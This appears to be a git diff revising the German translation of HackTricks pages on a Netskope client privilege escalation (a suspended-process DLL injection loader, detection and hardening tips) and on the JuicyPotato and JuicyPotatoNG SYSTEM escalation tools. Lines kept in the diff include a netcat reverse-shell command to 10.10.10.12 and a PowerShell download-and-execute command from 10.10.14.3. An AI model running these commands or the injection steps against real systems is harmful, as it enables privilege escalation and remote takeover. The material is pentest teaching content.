+Produkte bringen oft einen minifilter/OB callbacks Driver (z. B. Stadrv) mit, der gefährliche Rechte von Handles zu geschützten Prozessen entfernt:
 - Process: entfernt PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
 - Thread: beschränkt auf THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE

 Ein zuverlässiger User‑Mode Loader, der diese Einschränkungen respektiert:
 1) CreateProcess eines Vendor‑Binaries mit CREATE_SUSPENDED.
-2) Handle erhalten, die noch erlaubt sind: PROCESS_VM_WRITE | PROCESS_VM_OPERATION am Prozess und ein Thread‑Handle mit THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (oder nur THREAD_RESUME, wenn du Code bei einem bekannten RIP patchst).
-3) ntdll!NtContinue (oder eine andere frühe, garantiert gemappte Thunk) mit einem winzigen Stub überschreiben, der LoadLibraryW auf deinem DLL‑Pfad aufruft und dann zurückspringt.
+2) Hole die Handles, die du noch darfst: PROCESS_VM_WRITE | PROCESS_VM_OPERATION für den Prozess und ein Thread‑Handle mit THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (oder nur THREAD_RESUME, wenn du Code an einer bekannten RIP patchst).
+3) Überschreibe ntdll!NtContinue (oder einen anderen frühen, garantiert gemappten Thunk) mit einem kleinen Stub, der LoadLibraryW auf deinem DLL‑Pfad aufruft und dann zurückspringt.
 4) ResumeThread, um deinen Stub im Prozess auszulösen und deine DLL zu laden.

-Weil du PROCESS_CREATE_THREAD oder PROCESS_SUSPEND_RESUME bei einem bereits geschützten Prozess nie benutzt hast (du hast den Prozess selbst erstellt), ist die Policy des Drivers erfüllt.
+Weil du nie PROCESS_CREATE_THREAD oder PROCESS_SUSPEND_RESUME auf einem bereits geschützten Prozess verwendet hast (du hast ihn erstellt), ist die Policy des Drivers erfüllt.

 ---
 ## 6) Practical tooling
- NachoVPN (Netskope plugin) automatisiert eine rogue CA, malicious MSI signing und stellt die benötigten Endpunkte bereit: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
- UpSkope ist ein custom IPC‑Client, der beliebige (optional AES‑verschlüsselte) IPC‑Nachrichten erstellt und die suspended‑process Injection beinhaltet, damit sie von einem allow‑gelisteten Binary ausgeht.
+- NachoVPN (Netskope plugin) automatisiert eine Rogue‑CA, bösartiges MSI‑Signing und bedient die benötigten Endpunkte: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
+- UpSkope ist ein custom IPC‑Client, der beliebige (optional AES‑verschlüsselte) IPC‑Nachrichten erzeugt und die suspended‑process Injection enthält, um von einem allow‑gelisteten Binary auszugehen.

 ---
 ## 7) Detection opportunities (blue team)
 - Überwache Hinzufügungen zum Local Machine Trusted Root. Sysmon + registry‑mod Eventing (siehe SpecterOps Guidance) funktioniert gut.
- Markiere MSI‑Ausführungen, die vom Agent‑Service aus Pfaden wie C:\ProgramData\<vendor>\<agent>\data\*.msi initiiert werden.
- Prüfe Agent‑Logs auf unerwartete Enrollment Hosts/Tenants, z. B.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – suche nach addonUrl / tenant‑Anomalien und provisioning msg 148.
- Alarmiere bei localhost IPC‑Clients, die nicht die erwarteten signed Binaries sind oder aus ungewöhnlichen Child‑Process‑Trees stammen.
+- Flagge MSI‑Ausführungen, die vom Agent‑Service aus Pfaden wie C:\ProgramData\<vendor>\<agent>\data\*.msi initiiert werden.
+- Prüfe Agent‑Logs auf unerwartete Enrollment‑Hosts/Tenants, z. B.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – achte auf addonUrl / tenant‑Anomalien und provisioning msg 148.
+- Alarmiere bei localhost‑IPC‑Clients, die nicht die erwarteten signed Binaries sind oder aus ungewöhnlichen Child‑Process‑Trees stammen.

 ---
 ## Hardening tips for vendors
- Binde Enrollment/Update‑Hosts an eine strikte Allow‑List; lehne untrusted Domains in clientcode ab.
- Authentifiziere IPC‑Peers mit OS‑Primitiven (ALPC security, named‑pipe SIDs) statt mit Image‑Pfad/-Namen‑Checks.
- Halte secret Material aus world‑readable HKLM; falls IPC verschlüsselt werden muss, leite Keys aus geschützten Secrets ab oder verhandle über authentifizierte Kanäle.
- Behandle den Updater als Supply‑Chain‑Angriffsfläche: erfordere eine vollständige Kette zu einer trusted CA, die du kontrollierst, verifiziere Paket‑Signaturen gegen gepinnte Keys und fail closed, wenn Validierung in der Config deaktiviert ist.
+- Binde Enrollment/Update‑Hosts an eine strikte Allow‑List; lehne untrusted Domains im clientcode ab.
+- Authentifiziere IPC‑Peers mit OS‑Primitiven (ALPC security, named‑pipe SIDs) statt mit Image‑Path/Name‑Checks.
+- Halte geheime Materialien aus weltlesbarem HKLM; wenn IPC verschlüsselt werden muss, leite Keys aus geschützten Secrets ab oder verhandle über authentifizierte Kanäle.
+- Betrachte den Updater als Supply‑Chain‑Surface: require eine vollständige Chain zu einer trusted CA, die du kontrollierst, verifiziere Package‑Signaturen gegen gepinnte Keys und fail closed, wenn die Validierung in der Config deaktiviert ist.

 ## References
 - [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
--- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
@ -2,57 +2,57 @@

 {{#include ../../banners/hacktricks-training.md}}

-> [!WARNING] > JuicyPotato ist veraltet. Es funktioniert in der Regel auf Windows-Versionen bis Windows 10 1803 / Windows Server 2016. Änderungen von Microsoft, die ab Windows 10 1809 / Server 2019 ausgeliefert wurden, haben die ursprüngliche Technik gebrochen. Für diese und neuere Builds sollten moderne Alternativen wie PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato und andere in Betracht gezogen werden. Siehe die untenstehende Seite für aktuelle Optionen und Nutzung.
+> [!WARNING] > JuicyPotato ist veraltet. Es funktioniert im Allgemeinen auf Windows-Versionen bis einschließlich Windows 10 1803 / Windows Server 2016. Microsoft-Änderungen, die ab Windows 10 1809 / Server 2019 eingeführt wurden, haben die ursprüngliche Technik gebrochen. Für diese Builds und neuer sollten Sie moderne Alternativen wie PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato und andere in Betracht ziehen. Siehe die untenstehende Seite für aktuelle Optionen und Verwendung.


 {{#ref}}
 roguepotato-and-printspoofer.md
 {{#endref}}

-## Juicy Potato (Ausnutzung der "goldenen" Privilegien) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
+## Juicy Potato (Ausnutzung der goldenen Privilegien) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>

-_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
+_Eine aufgepeppte Version von_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, mit etwas Juice, d.h. **ein weiteres Local Privilege Escalation tool, von Windows Service Accounts zu NT AUTHORITY\SYSTEM**_

 #### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)

-### Kompatibilitäts-Kurznotizen
+### Kompatibilitäts-Kurzhinweise

- Funktioniert zuverlässig bis Windows 10 1803 und Windows Server 2016, wenn der aktuelle Kontext SeImpersonatePrivilege oder SeAssignPrimaryTokenPrivilege besitzt.
- Durch Microsoft-Härtungen in Windows 10 1809 / Windows Server 2019 und neuer gebrochen. Bevorzuge die oben verlinkten Alternativen für diese Builds.
+- Funktioniert zuverlässig bis Windows 10 1803 und Windows Server 2016, wenn der aktuelle Kontext über SeImpersonatePrivilege oder SeAssignPrimaryTokenPrivilege verfügt.
+- Durch Microsoft-Härtung in Windows 10 1809 / Windows Server 2019 und neuer gebrochen. Für diese Builds bevorzugen Sie die oben verlinkten Alternativen.

-### Zusammenfassung <a href="#summary" id="summary"></a>
+### Summary <a href="#summary" id="summary"></a>

 [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**

-[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken.
+[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) und seine [variants](https://github.com/decoder-it/lonelypotato) nutzen die privilege escalation chain basierend auf dem `BITS` [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126), der den MiTM-Listener auf `127.0.0.1:6666` hat, und wenn man `SeImpersonate` oder `SeAssignPrimaryToken` Privilegien besitzt. Während einer Windows-Build-Überprüfung fanden wir eine Konfiguration, in der `BITS` absichtlich deaktiviert war und Port `6666` belegt war.

-Wir entschieden uns, [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) zu weaponisieren: **Begrüßt Juicy Potato**.
+Wir entschieden uns, RottenPotatoNG zu weaponisieren: Say hello to Juicy Potato.

 > Für die Theorie siehe [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) und folge der Kette von Links und Referenzen.

 Wir entdeckten, dass es neben `BITS` mehrere COM-Server gibt, die wir missbrauchen können. Sie müssen lediglich:

-1. vom aktuellen Benutzer instanziierbar sein, normalerweise ein "Service-Benutzer", der Impersonationsrechte besitzt
-2. das `IMarshal`-Interface implementieren
-3. als ein erhöhtes Konto laufen (SYSTEM, Administrator, …)
+1. vom aktuellen Benutzer instanziierbar sein, normalerweise ein “service user”, der Impersonation-Privilegien hat
+2. die `IMarshal`-Schnittstelle implementieren
+3. als erhöhter Benutzer (SYSTEM, Administrator, …) laufen

-Nach einigen Tests haben wir eine umfangreiche Liste interessanter [CLSID’s](http://ohpe.it/juicy-potato/CLSID/) auf mehreren Windows-Versionen ermittelt und getestet.
+Nach einigen Tests erhielten und prüften wir eine umfangreiche Liste interessanter CLSIDs auf mehreren Windows-Versionen.

-### Juicy details <a href="#juicy-details" id="juicy-details"></a>
+### Saftige Details <a href="#juicy-details" id="juicy-details"></a>

-JuicyPotato erlaubt dir:
+JuicyPotato erlaubt es dir:

- **Target CLSID** _wähle beliebiges CLSID aus, das du willst._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _findest du die Liste nach OS sortiert._
- **COM Listening port** _definiere den COM-Listening-Port, den du bevorzugst (anstatt des gemarshalten hardcodierten 6666)_
- **COM Listening IP address** _binde den Server an eine beliebige IP_
- **Process creation mode** _je nach den Rechten des impersonierten Benutzers kannst du wählen zwischen:_
- `CreateProcessWithToken` (benötigt `SeImpersonate`)
- `CreateProcessAsUser` (benötigt `SeAssignPrimaryToken`)
+- **Target CLSID** _pick any CLSID you want._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _you can find the list organized by OS._
+- **COM Listening port** _define COM listening port you prefer (instead of the marshalled hardcoded 6666)_
+- **COM Listening IP address** _bind the server on any IP_
+- **Process creation mode** _abhängig von den Privilegien des impersonierten Benutzers kannst du wählen zwischen:_
+- `CreateProcessWithToken` (needs `SeImpersonate`)
+- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
 - `both`
- **Process to launch** _starte ein ausführbares Programm oder Skript, falls die Ausnutzung erfolgreich ist_
- **Process Argument** _passe die Argumente des gestarteten Prozesses an_
- **RPC Server address** _für einen stealthy Ansatz kannst du dich an einen externen RPC-Server authentifizieren_
- **RPC Server port** _nützlich, wenn du dich an einen externen Server authentifizieren willst und die Firewall Port `135` blockiert…_
+- **Process to launch** _Starte ein ausführbares Programm oder Script, falls die Ausnutzung erfolgreich ist_
+- **Process Argument** _Passe die Argumente des gestarteten Prozesses an_
+- **RPC Server address** _Für einen stealthy Ansatz kannst du dich an einem externen RPC-Server authentifizieren_
+- **RPC Server port** _nützlich, falls du dich an einem externen Server authentifizieren möchtest und eine Firewall Port `135` blockiert…_
 - **TEST mode** _hauptsächlich zu Testzwecken, z.B. zum Testen von CLSIDs. Es erstellt das DCOM und gibt den Benutzer des Tokens aus. Siehe_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)

 ### Usage <a href="#usage" id="usage"></a>
@ -72,28 +72,28 @@ Optional args:
 -k <ip>: RPC server ip address (default 127.0.0.1)
 -n <port>: RPC server listen port (default 135)
 ```
-### Abschließende Gedanken <a href="#final-thoughts" id="final-thoughts"></a>
+### Final thoughts <a href="#final-thoughts" id="final-thoughts"></a>

 [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**

-If the user has `SeImpersonate` or `SeAssignPrimaryToken` privileges then you are **SYSTEM**.
+Wenn der Benutzer die Berechtigungen `SeImpersonate` oder `SeAssignPrimaryToken` hat, dann sind Sie **SYSTEM**.

-Es ist nahezu unmöglich, den Missbrauch all dieser COM Servers zu verhindern. Man könnte darüber nachdenken, die Berechtigungen dieser Objekte über `DCOMCNFG` zu ändern, aber viel Glück — das wird herausfordernd.
+Es ist nahezu unmöglich, den Missbrauch all dieser COM-Server zu verhindern. Man könnte darüber nachdenken, die Berechtigungen dieser Objekte via `DCOMCNFG` zu ändern, aber viel Glück — das wird herausfordernd.

-Die eigentliche Lösung besteht darin, sensible Konten und Anwendungen zu schützen, die unter den `* SERVICE`-Konten laufen. Das Abschalten von `DCOM` würde diesen Exploit zwar behindern, könnte aber schwerwiegende Auswirkungen auf das zugrunde liegende Betriebssystem haben.
+Die eigentliche Lösung ist, sensible Accounts und Anwendungen zu schützen, die unter den `* SERVICE`-Konten laufen. Das Abschalten von `DCOM` würde diesen Exploit zwar behindern, könnte aber ernsthafte Auswirkungen auf das zugrunde liegende Betriebssystem haben.

 From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)

 ## JuicyPotatoNG (2022+)

 JuicyPotatoNG re-introduces a JuicyPotato-style local privilege escalation on modern Windows by combining:
- DCOM OXID-Auflösung zu einem lokalen RPC-Server auf einem gewählten Port, wodurch der alte fest kodierte 127.0.0.1:6666-Listener vermieden wird.
- Ein SSPI-Hook, um die eingehende SYSTEM-Authentifizierung abzufangen und zu impersonaten, ohne RpcImpersonateClient zu benötigen, was außerdem CreateProcessAsUser ermöglicht, wenn nur SeAssignPrimaryTokenPrivilege vorhanden ist.
- Tricks, um DCOM-Aktivierungsbeschränkungen zu erfüllen (z. B. die frühere INTERACTIVE-Gruppenanforderung beim Anvisieren der PrintNotify- / ActiveX Installer Service-Klassen).
+- DCOM OXID-Auflösung zu einem lokalen RPC-Server auf einem gewählten Port, wodurch der alte hardcoded 127.0.0.1:6666 Listener vermieden wird.
+- Ein SSPI-Hook, um die eingehende SYSTEM-Authentifizierung abzufangen und zu impersonate, ohne RpcImpersonateClient zu benötigen, was außerdem CreateProcessAsUser ermöglicht, wenn nur SeAssignPrimaryTokenPrivilege vorhanden ist.
+- Tricks, um DCOM-Aktivierungsbeschränkungen zu erfüllen (z. B. die frühere INTERACTIVE-Gruppen-Anforderung beim Anvisieren der Klassen PrintNotify / ActiveX Installer Service).

-Wichtige Hinweise (sich entwickelndes Verhalten über verschiedene Builds):
- September 2022: Die initiale Technik funktionierte auf unterstützten Windows 10/11- und Server-Zielen unter Verwendung des “INTERACTIVE trick”.
- Januar 2023 Update der Autoren: Microsoft hat später den INTERACTIVE trick blockiert. Eine andere CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) stellt die Ausnutzung wieder her, jedoch laut ihrem Beitrag nur auf Windows 11 / Server 2022.
+Wichtige Hinweise (Verhalten verändert sich über verschiedene Builds):
+- September 2022: Die anfängliche Technik funktionierte auf unterstützten Windows 10/11- und Server-Zielen unter Verwendung des “INTERACTIVE trick”.
+- Januar 2023 Update der Autoren: Microsoft blockierte später den INTERACTIVE trick. Ein anderer CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) stellt die Ausnutzung wieder her, aber laut ihrem Beitrag nur auf Windows 11 / Server 2022.

 Grundlegende Verwendung (mehr Flags in der Hilfe):
 ```
@ -103,13 +103,13 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
 #  -s  Scan for a COM port not filtered by Windows Defender Firewall
 #  -i  Interactive console (only with CreateProcessAsUser)
 ```
-Wenn du Windows 10 1809 / Server 2019 ins Visier nimmst, wo der klassische JuicyPotato gepatcht wurde, verwende vorzugsweise die oben verlinkten Alternativen (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG kann je nach Build- und Service-Zustand situationsabhängig sein.
+Wenn du Windows 10 1809 / Server 2019 anvisierst, wo klassisches JuicyPotato gepatcht ist, verwende vorzugsweise die oben verlinkten Alternativen (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG kann je nach Build und Dienstzustand situationsabhängig sein.

 ## Beispiele

-Hinweis: Besuche [this page](https://ohpe.it/juicy-potato/CLSID/) für eine Liste von CLSIDs zum Ausprobieren.
+Hinweis: Besuche [diese Seite](https://ohpe.it/juicy-potato/CLSID/) für eine Liste von CLSIDs zum Ausprobieren.

-### nc.exe reverse shell bekommen
+### nc.exe reverse shell erhalten
 ```
 c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

@ -126,13 +126,13 @@ c:\Users\Public>
 ```
 .\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
 ```
-### Starte ein neues CMD (wenn du RDP-Zugang hast)
+### Ein neues CMD starten (wenn du RDP-Zugang hast)

 ![](<../../images/image (300).png>)

 ## CLSID-Probleme

-Oft funktioniert die standardmäßige CLSID, die JuicyPotato verwendet, **nicht** und der Exploit schlägt fehl. Meist sind mehrere Versuche nötig, um eine **funktionierende CLSID** zu finden. Um eine Liste von CLSIDs für ein bestimmtes Betriebssystem zu erhalten, solltest du diese Seite besuchen:
+Oftmals funktioniert die Standard-CLSID, die JuicyPotato verwendet, **nicht** und der exploit schlägt fehl. Normalerweise sind mehrere Versuche nötig, um eine **funktionierende CLSID** zu finden. Um eine Liste von CLSIDs zu erhalten, die für ein bestimmtes Betriebssystem ausprobiert werden können, solltest du diese Seite besuchen:

 - [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)

@ -140,13 +140,13 @@ Oft funktioniert die standardmäßige CLSID, die JuicyPotato verwendet, **nicht*

 Zuerst benötigst du einige ausführbare Dateien neben juicypotato.exe.

-Lade [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) herunter und lade es in deine PS-Sitzung, und lade und führe [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) aus. Dieses Skript erstellt eine Liste möglicher CLSIDs zum Testen.
+Lade Join-Object.ps1 herunter und lade es in deine PS-Sitzung, und lade und führe GetCLSID.ps1 aus. Dieses Skript erstellt eine Liste möglicher CLSIDs zum Testen.

-Lade dann [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(ändere den Pfad zur CLSID-Liste und zur juicypotato-Executable) herunter und führe es aus. Es wird jede CLSID durchprobieren, und **wenn sich die Portnummer ändert, bedeutet das, dass die CLSID funktioniert hat**.
+Lade dann test_clsid.bat herunter (ändere den Pfad zur CLSID-Liste und zur juicypotato-Executable) und führe sie aus. Sie wird jede CLSID ausprobieren, und **wenn sich die Portnummer ändert, bedeutet das, dass die CLSID funktioniert hat**.

-**Prüfe** die funktionierenden CLSIDs **mit dem Parameter -c**
+**Überprüfe** die funktionierenden CLSIDs **mit dem Parameter -c**

-## Referenzen
+## Quellen

 - [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
 - [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)